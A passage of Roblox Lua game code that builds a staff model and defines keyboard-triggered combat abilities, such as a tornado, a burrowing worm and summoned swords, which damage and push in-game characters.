- for i=5.5,0.5,-1 do fism.Scale = v3(8*sc,((8*sc)/5.5)*i,8*sc) fis.CFrame = pos*cn(0,0,-i*sc)*ca(rd(-90),rd(-90),0) wait() end fis:Remove()
- for i=0.2,1,0.1 do ripm.Scale = ripm.Scale+v3(0.2*sc,0.2*sc,0.2*sc) rip.Transparency = i wait() end rip:Remove() end)
- local rr = 6.5*sc GetRegion(fis.Position-v3(rr,rr,rr),fis.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(fis.Position-v3(0,1*sc,0),v.Torso.Position+v3(0,2,0)).lookVector*75}) Dmgz(false,v.Humanoid,rn(d[1]*2,d[2]*2.5),v.Torso) wait(0.15) bpp:Remove() end,function(v) ForceBrick(v,fis.Position,100) end)
- MakeCrater(fis.Position+v3(0,2,0),5,7,10)
- end) end
- WormDrill = function(target,sca) q(function() local spiran = rn(-360,360) local slope = {}
- for i=90,-270,-10 do table.insert(slope,cn(target.p)*ca(0,rd(spiran),0)*cn(0,0,30*sca)*ca(rd(i),0,0)*cn(0,0,30*sca)) end
- local mm = it('Model',su) local tr = 0.15
- local worm0 = pa(mm,"","Block",0,60,0,true,true,tr,0,"White") qi({"SpecialMesh",worm0,Scale=v3(9*sca,12*sca,9*sca),MeshType="FileMesh",MeshId="http://www.roblox.com/asset/?id=12137531"})
- local worm1 = pa(mm,"","Block",10*sca,6*sca,10*sca,true,true,tr,0,"White") it('CylinderMesh',worm1)
- local worm2 = pa(mm,"","Block",9.5*sca,6*sca,9.5*sca,true,true,tr,0,"White") it('CylinderMesh',worm2)
- local worm3 = pa(mm,"","Block",9*sca,6*sca,9*sca,true,true,tr,0,"White") it('CylinderMesh',worm3)
- local worm4 = pa(mm,"","Block",8.5*sca,6*sca,8.5*sca,true,true,tr,0,"White") it('CylinderMesh',worm4)
- local worm5 = pa(mm,"","Block",8*sca,6*sca,8*sca,true,true,tr,0,"White") it('CylinderMesh',worm5)
- local worm6 = pa(mm,"","Block",7.2*sca,6*sca,7.2*sca,true,true,tr,0,"White") qi({"SpecialMesh",worm6,Scale=v3(4*sca,18.5*sca,4*sca),MeshType="FileMesh",MeshId="http://www.roblox.com/asset/?id=1033714"})
- for i=1,#slope-6 do if i+6 == 10 then MakeCrater(slope[i+6].p+v3(0,10,0),13,9,20) end if i+5 == 27 then local rr = 8*sca GetRegion(slope[i+5].p-v3(rr,rr,rr),slope[i+5].p+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(slope[i+5].p,v.Torso.Position+v3(0,2,0)).lookVector*120}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*3.5,v.Torso) wait(0.2) bpp:Remove() end,function(v) ForceBrick(v,slope[i+5].p,150) end) MakeCrater(slope[i+5].p+v3(0,10,0),13,9,20) end
- worm0.CFrame = slope[i+6]*ca(rd(160),0,0)*ca(0,rd(0),0)*cn(0,5*sca,0) worm1.CFrame = slope[i+5] worm2.CFrame = slope[i+4] worm3.CFrame = slope[i+3] worm4.CFrame = slope[i+2] worm5.CFrame = slope[i+1] worm6.CFrame = slope[i]*ca(rd(180),0,0)*cn(0,4*sca,0) wait(0.04) end
- worm0:Remove() worm1:Remove() worm2:Remove() worm3:Remove() worm4:Remove() worm5:Remove() worm6:Remove()
- end) end
- SpawnTornado = function(pos,sc,ski,tyms) q(function()
- local tor = pa(su,"","Block",0,0,0,true,true,1,0,"White") qi({"SpecialMesh",tor,Scale=v3(6.4*sc,8*sc,6.5*sc),MeshType="FileMesh",MeshId=Decs.Tornado})
- tor.CFrame = pos q(function() for i=1,0.2,-0.1 do tor.Transparency = i wait() end end)
- local zz = 0 local tpos = tor.Position
- q(function() while tor.Parent do zz = zz+1
- tor.CFrame = pos*cn(0,0,-zz/2.6)*ca(0,rd(zz*5),0)*cn(0,0,zz*ski/30)*ca(0,rd(zz*25),0) wait()
- local rr = 7*sc GetRegion(tor.Position-v3(rr,rr,rr),tor.Position+v3(rr,rr,rr),function(v) if v.Torso:findFirstChild("SRP") == nil then local bp = qi({"BodyPosition",v.Torso,Name="SRP",maxForce=v3(1/0,1/0,1/0),position=tor.CFrame*cn(0,0,-11*sc).p}) while tor.Parent do v.Humanoid.PlatformStand=true bp.position=tor.CFrame*cn(0,0,8*sc).p
- if rn(1,6) == 2 then v.Humanoid.Sit = true Dmgz(false,v.Humanoid,rn(1,2),v.Torso) end
- wait() end bp:Remove() local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(v.Torso.Position,to.Position+v3(0,30,0)).lookVector*135}) wait(0.4) bpp:Remove() wait(2.5) v.Humanoid.PlatformStand = false else end end)
- end end)
- wait(tyms) tpos = tor.Position local torm = tor.Mesh.Scale tor:Remove() GlowMesh(false,Decs.Tornado,t,torm*3,'Navy blue',cn(tpos),0.2,1,0.05)
- end) end
- function CrownSwords(pos) q(function()
- local hol = pa(su,"","Block",1,1,1,false,true,0.1,0,"White") qi({"SpecialMesh",hol,MeshType="Sphere"})
- hol.CFrame = pos for i=1,6 do hol.Size=v3(1,1,i*5) hol.CFrame=pos*cn(0,0,(5*i)/2) wait() end
- for i=1,6 do hol.Size=v3(i*5,1,30) hol.CFrame=pos*cn(0,0,15) wait() end
- local swr = {} for i=1,14 do local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(4,4,4),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) ti(swr,swor) end
- local swr2 ={} for i=1,8 do local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(4,4,4),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) ti(swr2,swor) end
- local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(10,14,7.5),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)})
- q(function() for i=1,20 do
- swor.CFrame=hol.CFrame*cn(0,(i*3.5)-5.5,0)*ca(rd(90),0,0)
- wait() end end)
- for i2,v in pairs(swr) do q(function() for i=1,20 do
- v.CFrame=hol.CFrame*ca(0,rd(((360/14)*i2)+i*6),0)*cn(0,(i*0.32)-5.5,10)*ca(rd(-90+(91/20*i)),0,0)
- wait() end FireObj(v,cn(v.Position,v.CFrame*cn(0,0,-2).p),ca(0,0,0),8,20,6,function(h) ProjHit1(v,h,1.2) end,8) end) end
- for i2,v in pairs(swr2) do q(function() for i=1,20 do
- v.CFrame=hol.CFrame*ca(0,rd(((360/8)*i2)+i*-8),0)*cn(0,(i*1)-5.5,6)*ca(rd(-90+(135/20*i)),0,0)
- wait() end FireObj(v,cn(v.Position,v.CFrame*cn(0,0,-2).p),ca(0,0,0),8,20,6,function(h) ProjHit1(v,h,1.2) end,8) end) end for i=1,20 do wait() end local holp = hol.CFrame fade(hol,0.1)
- for i=20*3.5,0,-20*3.5/12 do
- swor.CFrame = hol.CFrame*cn(0,i-1,0)*ca(rd(90),0,0) GlowMesh(false,Decs.Crown,t,v3(5,10,5),'Navy blue',swor.CFrame*ca(rd(-90),0,0),0.1,1,0.1)
- wait() end local rr = 25 GetRegion(holp.p-v3(rr,rr,rr),holp.p+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(holp.p,v.Torso.Position).lookVector*120}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*1.8,v.Torso) wait(0.24) bpp:Remove() end,function(v) ForceBrick(v,holp.p,150) end)
- for i=0,7.5,2.5 do GlowMesh(false,Decs.Ring,t,v3(85-i,85-i,60-i),'Navy blue',hol.CFrame*cn(0,3,0)*ca(rd(-90),0,0),0.1,1,0.05) wait(0.1) end
- wait(5) fade(swor,0.02)
- end) end
- function SpawnDeathBlock(pos,rootvel,sc) q(function()
- local bl = pa(su,"","Block",9.5*sc,12*sc,4*sc,true,true,0.05,0,"Really black") local rca = ca(rd(rn(-6,6)),rd(rn(-6,6)),rd(rn(-6,6)))
- local sk = pa(su,"","Block",0,0,0,false,true,0.05,0,"Really black") qi({"SpecialMesh",sk,Scale=v3(2*sc,2*sc,0.8*sc),MeshType="FileMesh",MeshId=Decs.Skull1})
- bl.Touched:connect(function(v) if v.Parent == c or v.Parent == su or v.Parent:findFirstChild("Humanoid") == nil or v.Parent:findFirstChild("Torso") == nil then return end
- GlowMesh(false,"Sphere",t,v3(12,12,12),'Navy blue',v.CFrame,0.1,1,0.1)
- local bpp = qi({"BodyVelocity",v.Parent.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(rootvel,v.Parent.Torso.Position+v3(0,7.5,0)).lookVector*80}) Dmgz(false,v.Parent.Humanoid,rn(d[1],d[2])*0.2,v.Parent.Torso) wait(0.2) bpp:Remove()
- end)
- for i=0,1,0.1 do bl.CFrame=pos*cn(0,(-5*sc)+(9*i),0)*rca sk.CFrame=bl.CFrame*cn(0,0,-2.1*sc) wait() end
- wait(rn(23,30))
- for i,v in pairs({{"Navy blue",v3(30,30,30)},{"Really black",v3(20,20,20)}}) do GlowMesh(false,"Sphere",t,v[2],v[1],bl.CFrame,0.1,1,0.1) end
- local rr = 8 GetRegion(bl.Position-v3(rr,rr,rr),bl.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(bl.Position,v.Torso.Position).lookVector*80}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*0.5,v.Torso) wait(0.1) bpp:Remove() end,function(v) ForceBrick(v,holp.p,150) end)
- fade(bl,0.1) fade(sk,0.1)
- end) end
- ---- TUT01Cobalt1164
- han = pa(su,"","Block",0.4,0.4,0.4,false,false,0,0,"White") it('CylinderMesh',han)
- hanw = qi({"Weld",han,Part0=t,Part1=han,C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)})
- han2 = pa(su,"","Block",0.35,4,0.35,false,false,0,0,"Black") it('CylinderMesh',han2)
- han2w = qi({"Weld",han2,Part0=han,Part1=han2,C0=cn(0,1,0)})
- han3 = pa(su,"","Block",0,0,0,false,false,0,0,"White") qi({"SpecialMesh",han3,MeshType="Sphere",Scale=v3(0.4,0.4,0.4)*5})
- han3w = qi({"Weld",han2,Part0=han2,Part1=han3,C0=cn(0,-2,0)})
- han4 = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",han4,MeshType="Sphere",Scale=v3(0.5,0.7,0.2)*5})
- han4w = qi({"Weld",han2,Part0=han3,Part1=han4,C0=ca(0,rd(90),0)})
- for i=1,7 do
- des = pa(su,"","Block",0.4,0.2,0.4,false,false,0,0,"White") it('CylinderMesh',des).Scale = v3(1,0.4,1)
- desw = qi({"Weld",han,Part0=han2,Part1=des,C0=cn(0,-0.9+(i/3),0)*ca(rd(rn(-15,15)),0,rd(rn(-15,15)))})
- end
- for i=0,270,90 do
- des = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.1,0.4,0.1),MeshId=Decs.Spike})
- desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=ca(0,rd(i),0)*cn(0,1.8,0.3)*ca(rd(90),0,0)})
- end
- han5 = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han5,MeshType="Sphere",Scale=v3(0.35,0.6,0.35)*5})
- han5w = qi({"Weld",han2,Part0=han2,Part1=han5,C0=cn(0,2,0)})
- han6 = pa(su,"","Wedge",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han6,MeshType="Wedge",Scale=v3(0.1,1,0.5)*5})
- han6w = qi({"Weld",han2,Part0=han2,Part1=han6,C0=cn(0,2.4,0.05)*ca(rd(10),0,0)})
- han7 = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",han7,MeshType="FileMesh",Scale=v3(0.75,0.75,2),MeshId=Decs.Ring})
- han7w = qi({"Weld",han2,Part0=han2,Part1=han7,C0=cn(0,2.9,0)*ca(0,rd(90),0)})
- han8 = pa(su,"","Block",0,0,0,false,false,0.3,0.1,"White") qi({"SpecialMesh",han8,MeshType="Sphere",Scale=v3(0.7,0.7,0.7)*5})
- han8w = qi({"Weld",han2,Part0=han2,Part1=han8,C0=cn(0,2.9,0)*ca(0,0,0)})
- han9 = pa(su,"","Block",0,0,0,false,false,0,0,"Institutional white") qi({"SpecialMesh",han9,Scale=v3(0.25,1,0.25),MeshType="FileMesh",MeshId = Decs.Chakram3})
- han9w = qi({"Weld",han2,Part0=han2,Part1=han9,C0=cn(0,2.9,0)*ca(0,0,rd(90))})
- q(function() while true do wait(0.035) han9w.C0 = han9w.C0 *ca(0,rd(10),0) end end)
- for i=0,2 do
- des = pa(su,"","Block",0,0,0,false,false,0,0.05,"Really black") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.2,1,0.2),MeshId=Decs.Diamond})
- desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=cn(0,2.1+(i/2.1),0.6+(i/5))*ca(rd(150-(i*30)),0,0)})
- end
- des = pa(su,"","Block",0,0,0,false,false,0,0.05,"Really black") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.2,1,0.2),MeshId=Decs.Diamond})
- desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=cn(0,3.6,0.7)*ca(rd(50),0,0)})
- bla = pa(su,"","Wedge",0.2,1,2,false,false,0,0.05,"") qi({"SpecialMesh",bla,Scale=v3(0.56,1,1),MeshType="Wedge"})
- blaw = qi({"Weld",han2,Part0=han8,Part1=bla,C0=cn(0,0.5,-1.2)*ca(rd(30),0,0)})
- bla2 = pa(su,"","Wedge",0.2,0.7,2,false,false,0,0.05,"") qi({"SpecialMesh",bla2,Scale=v3(0.53,1,1),MeshType="Wedge"})
- bla2w = qi({"Weld",han2,Part0=bla,Part1=bla2,C0=cn(0,-0.5,-0.75)*ca(rd(-20),0,0)})
- bla3 = pa(su,"","Wedge",0.2,0.4,2,false,false,0,0.05,"") qi({"SpecialMesh",bla3,Scale=v3(0.5,1,1),MeshType="Wedge"})
- bla3w = qi({"Weld",han2,Part0=bla2,Part1=bla3,C0=cn(0,-0.5,-0.75)*ca(rd(-20),0,0)})
- han10 = pa(su,"","Block",0,0,0,false,false,0,1,"Really black") it('CylinderMesh',han10).Scale = v3(1.2,0.57,1.2)
- han10 = qi({"Weld",han2,Part0=bla,Part1=han10,C0=cn(0,-0.37,1.35)*ca(0,0,rd(90))})
- han11 = pa(su,"","Block",0.2,0.37,0.7,false,false,0,0,"") it('BlockMesh',han11).Scale = v3(0.48,1,0.9)
- han11 = qi({"Weld",han2,Part0=bla,Part1=han11,C0=cn(0,-0.32,1.3)})
- --http://www.roblox.com/Knights-of-the-Seventh-Sanctum-Sword-and-Shield-item?id=60357959
- raa = c["Right Arm"]
- laa = c["Left Arm"]
- clawa1 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",clawa1,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
- clawa1w = qi({"Weld",han2,Part0=laa,Part1=clawa1,C0=ca(rd(180),0,0)*cn(-0.2,1.25,0)})
- clawa2 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",clawa2,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
- clawa2w = qi({"Weld",han2,Part0=laa,Part1=clawa2,C0=ca(rd(180),0,0)*cn(0.2,1.25,0)})
- clawb1 = pa(su,"","Block",0,0,0,false,false,0,0.4,"White") qi({"SpecialMesh",clawb1,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
- clawb1w = qi({"Weld",han2,Part0=clawa1,Part1=clawb1,C0=cn(0,0.15,0)})
- clawb2 = pa(su,"","Block",0,0,0,false,false,0,0.4,"White") qi({"SpecialMesh",clawb2,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
- clawb2w = qi({"Weld",han2,Part0=clawa2,Part1=clawb2,C0=cn(0,0.15,0)})
- badge = pa(su,"","Block",0,0,0,false,false,0,0,"White") qi({"SpecialMesh",badge,MeshType="FileMesh",Scale=v3(0.15,1,0.5),MeshId=Decs.Diamond})
- badgew = qi({"Weld",han2,Part0=laa,Part1=badge,C0=cn(-0.5,0,0)*ca(rd(25),0,0)})
- badge2 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",badge2,MeshType="FileMesh",Scale=v3(0.149,1,0.495),MeshId=Decs.Diamond})
- badge2w = qi({"Weld",han2,Part0=badge,Part1=badge2})
- ef = pa(su,"","Block",0,0,0,false,true,1,0,"White") qi({"SpecialMesh",ef,MeshType="FileMesh",Scale=v3(7,7,4),MeshId=Decs.Chakram2})
- --efw = qi({"Weld",han2,Part0=t,Part1=ef,C0=cn(0,-2.9,0)*ca(rd(90),0,0)})
- db1 = pa(su,"","Block",0,0,0,false,false,1,0,"White") qi({"SpecialMesh",db1,MeshType="Sphere",Scale=v3(1,1,1)*5})
- db1w = qi({"Weld",han2,Part0=laa,Part1=db1,C0=cn(0,-2,0)})
- db2 = pa(su,"","Block",0,0,0,false,false,1,0.1,"White") qi({"SpecialMesh",db2,MeshType="Sphere",Scale=v3(1.2,1.2,1.2)*5})
- db2w = qi({"Weld",han2,Part0=db1,Part1=db2,C0=cn(0,0,0)})
- local ebs = false
- function eb(wutarm,aa,siz) if not siz then siz = 1 end q(function() db1.Mesh.Scale=v3(siz,siz,siz)*5 db1w.Part0 = wutarm db1w.C0 = cn(0,-1+(-siz/1.25),0) if not ebs then ebs = true
- if aa then db1.Transparency = 0.1 else for i=1,0.1,-0.1 do db1.Transparency = i wait() end end
- else
- ebs = false if aa then db1.Transparency = 1 else for i=0.1,1,0.1 do db1.Transparency = i wait() end end
- end end) end
- local efm = ef.Mesh.Scale
- function e(aa) if aa ~= nil then ef.Mesh.Scale=efm*aa else ef.Mesh.Scale=efm end if ef.Transparency < 0.4 then
- for i=0.3,1,0.1 do ef.Transparency = i wait() end
- else
- q(function() for i=1,0.3,-0.1 do ef.Transparency = i wait() end end)
- end end
- q(function() while true do if ebs then for i=0.4,0.7,0.025 do local tra = (i+0.15)*(db1.Mesh.Scale.x/4) db2.Transparency =i wait() db2.Mesh.Scale=db1.Mesh.Scale*1.2+v3(tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5)) end
- for i=0.7,0.4,-0.025 do local tra = (i+0.15)*(db1.Mesh.Scale.x/4) db2.Transparency =i db2.Mesh.Scale=db1.Mesh.Scale*1.2+v3(tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5)) wait() end else db2.Transparency = 1 db2.Mesh.Scale = v3(1.2,1.2,1.2)*5 end wait() end end)
- q(function() while true do for i=0,1,0.05 do badge.Transparency = i wait() end badge.Transparency = 1 wait(1) for i=1,0,-0.05 do badge.Transparency = i wait() end wait(4) end end)
- sho = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",sho,Scale=v3(1.1,1.1,1.1)*5,MeshType="Wedge"})
- show = qi({"Weld",han2,Part0=raa,Part1=sho,C0=cn(0,0.545,0)*ca(rd(180),rd(90),0)})
- chak = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",chak,Scale=v3(0.09,0.09,0.24)*5,MeshType="FileMesh",MeshId=Decs.Chakram})
- chakw = qi({"Weld",han2,Part0=raa,Part1=chak,C0=cn(0.56,0.5,0)*ca(0,rd(-90),0)})
- chak2 = pa(su,"","Block",0,0,0,false,false,0.1,0.1,"White") qi({"SpecialMesh",chak2,Scale=v3(0.15,0.15,0.05)*5,MeshType="FileMesh",MeshId=Decs.Chakram2})
- chak2w = qi({"Weld",han2,Part0=raa,Part1=chak2,C0=cn(0.56,0.5,0)*ca(0,rd(-90),0)})
- local efww = 0
- q(function() while true do wait() if FindGround(to.CFrame) then efww = efww+25 ef.CFrame = FindGround(to.CFrame)*ca(0,rd(efww),0)*ca(rd(90),0,0) else ef.CFrame=cn(10000,10000,10000) end end end)
- q(function() while true do wait(0.035) chak2w.C0 = chak2w.C0*ca(0,0,rd(25)) end end)
- ---- TUT02Cobalt1164
- function Act(k,kb)
- if kb then
- if k == "e" and Anim=="None" then
- Anim = "SpawnSwords" Armz(false) e() eb(raa) fac = true
- c2(law,spd,3,-1.5,1,0,30,0,30) c2(tw,spd,3,0,0,0,0,-95,0) c2(hw,spd,3,0,1.5,0,0,95,0)
- c1(raw,spd,3,1,0.5,0,0,0,-80) c2(raw,spd,3,1,0.4,0,0,0,-140) for i=1,5 do SpawnSword(FindGround(to.CFrame*cn(0,-2.75,-0.5+(-i*8)-i)),1+(i/10),15,"Navy blue") wait(0.06) end
- eb(raa) fac = false wait(0.2) e() c2(law,spd,3,-1.5,1,0,0,0,0) c2(hw,spd,3,0,1.5,0,0,0,0) c2(tw,spd,3,0,0,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true)
- Anim = "None"
- elseif k == "q" and Anim=="None" then
- Anim = "GravGrab" Armz(false) e() eb(laa) caw = false
- c2(raw,spd,3,1.5,1,0,30,0,20) c2(tw,spd,3,0,0,0,0,95,0) c2(hw,spd,3,0,1.5,0,0,-95,0)
- c1(law,spd,3,-1,0.5,0,0,0,130) SpikeSucker(to.CFrame*cn(0,5,-6),1) eb(laa) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
- c2(law,spd,3,-1,0.5,0,45,0,90) c2(hw,spd,3,0,1.5,0,0,90,0) c2(tw,spd,3,0,0,0,0,-90,0) c2(hanw,spd,0,-0.1,-2.2,0,0,90,170)
- Trail(bla3,15,0,"White",0.65,cn(0,-0.2,-1)) rayHit(0.6,1,ra,ca(rd(-90),0,0),8,1.3)
- c1(raw,spd,3,1.3,0.5,0,-30,0,-135) wait(0.5) c2(hanw,spd,0,-0.1,-1.1,0,0,0,75)
- caw = true c2(hw,spd,3,0,1.5,0,0,0,0) c2(tw,spd,3,0,0,0,0,0,0) c2(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,30,3,20) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) c1(raw,spd,3,1.5,1,0,0,0,0)
- e() Anim = "None" Armz(true)
- elseif k == "z" and Anim=="None" then
- Anim = "Blackspace" Armz(false) Legz(false) caw = false
- c2(raw,spd,3,1.5,1,0,20,0,-20) c2(law,spd,3,-1.5,1,0,20,0,20) c2(rlw,spd,3,0.5,-1,0,20,0,-20) c2(llw,spd,3,-0.5,-1,0,20,0,20) c1(tw,spd*0.5,3,0,7,0,0,0,0) Blackspace(t.CFrame,40,3)
- c2(raw,spd,3,1.5,1,0,0,0,0) c2(law,spd,3,-1.5,1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c1(tw,spd,3,0,0,0,0,0,0) Anim = "None" Armz(true) Legz(true) caw = true
- elseif k == "g" and Anim=="None" then
- Anim = "MatterBall" e() Armz(false) fac = true
- c2(tw,spd*1.3,3,0,0,0,0,-90,0) c2(hw,spd*1.3,3,0,1.5,0,0,90,0) c1(law,spd*1.3,3,-1,0.5,0,50,0,90-math.deg((to.Position - mouse.hit.p).unit.y))
- eb(laa,nil,3) wait(0.3)
- c2(tw,spd*1.55,3,0,0,0,0,70,0) c2(hw,spd*1.55,3,0,1.5,0,0,-70,0) c1(law,spd*1.55,3,-1,0.5,0,-20,0,90-math.deg((to.Position - mouse.hit.p).unit.y)) eb(laa,true,2) MatterBall(cn(db1.Position,la.CFrame*cn(0,-20,0).p),3,5,30,1.5)
- fac = false c2(tw,spd*1.3,3,0,0,0,0,0,0) c2(hw,spd*1.3,3,0,1.5,0,0,0,0) c1(law,spd*1.3,3,-1.5,1,0,0,0,0) e() Armz(true) wait(0.1) Anim = "None"
- elseif k == "r" and Anim=="None" then
- Anim = "Block" Armz(false) fac = true
- c2(tw,spd,3,0,0,0,0,-65,0) c2(hw,spd,3,0,1.5,0,0,65,0) c1(raw,spd,3,1.5,0.5,0.2,-100,-25,-5) c2(law,spd,3,-1.3,1,0.2,20,0,20)
- local spm = chak2.Mesh.Scale for i=1,11,1 do chak2.Reflectance = i/40 chak2.Mesh.Scale = spm*i wait() end
- block.Value = true repeat wait(0.4) GlowMesh(true,chak2.Mesh.MeshId,chak2,chak2.Mesh.Scale*1.5,'White',cn(0,0,0),chak2.Transparency,1,0.025) until not ky[k] for i=11,1,-1 do chak2.Reflectance = i/40 chak2.Mesh.Scale = spm*i wait() end chak2.Reflectance = 0
- block.Value = false c2(tw,spd*1.3,3,0,0,0,0,0,0) c2(hw,spd*1.3,3,0,1.5,0,0,0,0) c2(law,spd*1.3,3,-1.5,1,0,0,0,0) c1(raw,spd*1.3,3,1.5,1,0,0,0,0) Armz(true) fac = false Anim = "None"
- elseif k == "v" and Anim=="None" then
- Anim = "RakeFist" Armz(false) fac = true
- c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
- if (to.Position - mouse.hit.p).magnitude < 125 then c2(hanw,spd*1.5,0,-0.1,-1.2,0,0,-30,100) c1(raw,spd*1.5,3,1.5,0.5,0,-135,-60,0) wait(0.2) FistBoom(cn(to.CFrame*cn(-1.5,1.5,-4).p,to.CFrame*cn(-1.5,1.5,-5).p),1,rn(d[1]*2,d[2]*2),(to.Position-v3(mouse.hit.p.x,to.Position.y,mouse.hit.p.z)).magnitude-10) fac = false c1(raw,spd,3,1,0.5,0,-50,70,0) end fac = false
- wait(0.2) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0.5,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
- c1(raw,spd*0.8,3,1.5,1,0,0,0,0) Armz(true) Anim = "None"
- elseif k=="h" and Anim=="None" then
- Anim = "Worm" Armz(false) e(3) fac = true caw = false
- c2(tw,spd,3,0,0,0,0,-90,0) c2(hw,spd,3,0,1.5,0,0,90,0) c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
- c2(hanw,spd,0,-0.1,-1.5,0,0,0,180) c1(raw,spd,3,1,0.5,0,-180,0,-30) c1(raw,spd,3,1,0.5,0,0,0,-90)
- local tpos = mouse.hit.p if (tpos - bla2.Position).magnitude < 350 then q(function() local to = pa(su,"","Block",2,1,2,false,true,0.1,0,"White") it('CylinderMesh',to) local to2 = pa(su,"","Block",0,0,0,false,true,0.1,0,"White") qi({"SpecialMesh",to2,Scale=v3(2,2,2),MeshType="FileMesh",MeshId=Decs.Totem})
- for i=1,5,0.5 do to.Size=v3(2,i,2) to.CFrame=cn(tpos+v3(0,i/2,0)) to2.CFrame = to.CFrame*cn(0,(i/2)+1,0) wait() end wait(3.5) for i=0.2,1,0.1 do to.Transparency = i to2.Transparency = i wait() end to:Remove() to2:Remove() end)
- for i=1,8 do Lightning(bla2.Position,tpos,math.floor((bla2.Position-tpos).magnitude/18)+1,1.5,"White",0.3,0) wait(0.04) end fac = false
- caw = true q(function() wait(1) WormDrill(cn(tpos),rn(25,30)/10) end) c1(law,spd,3,-1.5,0.25,0,0,0,180) q(function() local to = pa(su,"","Block",1.5,1.5,1.5,false,true,0.1,0,"White") qi({"SpecialMesh",to,MeshType="Sphere"}) for i=1,15,1 do to.Size=v3(1.5,i*2,1.5) to.CFrame=la.CFrame*cn(0,-2+(-i),0) wait() end GlowMesh(false,"Sphere",t,v3(35,35,35),'Navy blue',la.CFrame*cn(0,-32,0),0.1,1,0.1) fade(to,0.1) end)
- end fac = false caw = true c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
- c2(tw,spd,3,0,0,0,0,0,0) c2(hw,spd,3,0,1.5,0,0,0,0) c2(law,spd*0.8,3,-1.5,1,0,0,0,0) c1(raw,spd*0.8,3,1.5,1,0,0,0,0) Armz(true) e(3) Anim = "None"
- elseif k == "y" and Anim == "None" then
- Anim = "Whirlwind" Armz(false) e() fac = true
